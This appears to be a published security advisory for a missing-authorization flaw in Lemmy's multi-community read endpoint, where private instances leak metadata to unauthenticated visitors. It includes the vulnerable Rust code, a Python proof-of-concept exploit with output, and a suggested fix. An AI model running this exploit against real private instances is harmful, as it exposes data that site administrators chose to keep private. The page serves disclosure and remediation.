GHSA-jmxc-hhwx-gvv3 Private Lemmy instances expose multi-community metadata without authentication

Not scored Published 6 May 2026

Unauthenticated attackers can read private multi-community metadata on Lemmy instances configured as private.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: None listed

What is GHSA-jmxc-hhwx-gvv3?

GHSA-jmxc-hhwx-gvv3 is a missing authorization vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

NOTE: Only affects development version.

Summary

read_multi_community() does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.

Details

Other read handlers load local_site and call check_private_instance() before returning data to unauthenticated callers. read_multi_community() does not call that helper:

pub async fn read_multi_community(
  Query(data): Query&lt;GetMultiCommunity&gt;,
  context: Data&lt;LemmyContext&gt;,
  local_user_view: Option&lt;LocalUserView&gt;,
) -&gt; LemmyResult&lt;Json&lt;GetMultiCommunityResponse&gt;&gt; {
  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);
  let id = resolve_multi_community_identifier(&amp;data.name, data.id, &amp;context, &amp;local_user_view)
    .await?
    .ok_or(LemmyErrorType::NoIdGiven)?;
  let multi_community_view =
    MultiCommunityView::read(&amp;mut context.pool(), id, my_person_id).await?;

get_community(), list_posts(), list_comments(), read_person(), search(), and resolve_object() all enforce the private-instance guard.

Proof of Concept

The script creates a multi-community whose metadata contains a marker, turns on private_instance, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over GET /multi_community without authentication.

#!/usr/bin/env python3
import json, random, string
import requests

BASE       = &#34;http://127.0.0.1:8536/api/v4&#34;
ADMIN_USER = &#34;lemmy&#34;
ADMIN_PASS = &#34;lemmylemmy&#34;

def api(method, path, token=None, **kw):
    h = kw.pop(&#34;headers&#34;, {})
    if token: h[&#34;Authorization&#34;] = &#34;Bearer &#34; + token
    return requests.request(method, BASE + path, headers=h, **kw)

suffix = &#34;multi&#34; + &#34;&#34;.join(random.choice(string.ascii_lowercase) for _ in range(6))
secret = &#34;SECRET_MULTI_&#34; + suffix

admin = api(&#34;POST&#34;, &#34;/account/auth/login&#34;, json={&#34;username_or_email&#34;: ADMIN_USER, &#34;password&#34;: ADMIN_PASS}).json()[&#34;jwt&#34;]

# Create a multi-community whose title/summary/sidebar embed the marker.
mid = api(&#34;POST&#34;, &#34;/multi_community&#34;, admin, json={
    &#34;name&#34;: &#34;m&#34; + suffix, &#34;title&#34;: secret,
    &#34;summary&#34;: secret + &#34; summary&#34;, &#34;sidebar&#34;: secret + &#34; sidebar&#34;,
}).json()[&#34;multi_community_view&#34;][&#34;multi&#34;][&#34;id&#34;]

# Enable private_instance.
api(&#34;PUT&#34;, &#34;/site&#34;, admin, json={&#34;private_instance&#34;: True})

print(&#34;private_instance:&#34;, api(&#34;GET&#34;, &#34;/site&#34;).json()[&#34;site_view&#34;][&#34;local_site&#34;][&#34;private_instance&#34;])

# Control: a comparable read endpoint correctly rejects unauthenticated callers.
control = api(&#34;GET&#34;, &#34;/community/list&#34;)
print(&#34;unauth /community/list (control):&#34;, control.status_code, control.text[:120])

# Leak: read_multi_community returns the private metadata to an unauthenticated caller.
leak = api(&#34;GET&#34;, &#34;/multi_community&#34;, params={&#34;id&#34;: mid})
print(&#34;unauth /multi_community:&#34;, leak.status_code, leak.text[:300])
print(&#34;contains secret:&#34;, secret in leak.text)

Output:

private_instance: True
unauth /community/list (control): 400 {&#34;error&#34;:&#34;instance_is_private&#34;,&#34;cause&#34;:&#34;InstanceIsPrivate&#34;}
unauth /multi_community: 200 {&#34;multi_community_view&#34;:{&#34;multi&#34;:{&#34;title&#34;:&#34;SECRET_MULTI_multijwxokm&#34;,&#34;summary&#34;:&#34;SECRET_MULTI_multijwxokm summary&#34;,&#34;sidebar&#34;:&#34;SECRET_MULTI_multijwxokm sidebar&#34;}}}
contains secret: True

The control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.

Impact

An unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.

Recommended Fix

Load local_site at the start of read_multi_community() and call check_private_instance(&local_user_view, &local_site)? before resolving or reading the multi-community.

Found by aisafe.io

Which versions are affected by GHSA-jmxc-hhwx-gvv3?

2 open source packages ship an affected version, including lemmy_api.

Package	Affected	Fixed in
`lemmy_api` crates.io	All versions to `0.19.1-rc.1`	None
`lemmy_api` crates.io	All versions to `0.19.1-rc.1`	None

How do I fix GHSA-jmxc-hhwx-gvv3?

No fix has been published for GHSA-jmxc-hhwx-gvv3 yet. Limit exposure of the affected software until one is available.

Upgrade, and check permissions on every request on the server, not only in the interface. More about Missing authorization.

Is GHSA-jmxc-hhwx-gvv3 being exploited?

There is no known exploitation of GHSA-jmxc-hhwx-gvv3 in the wild and no public exploit code.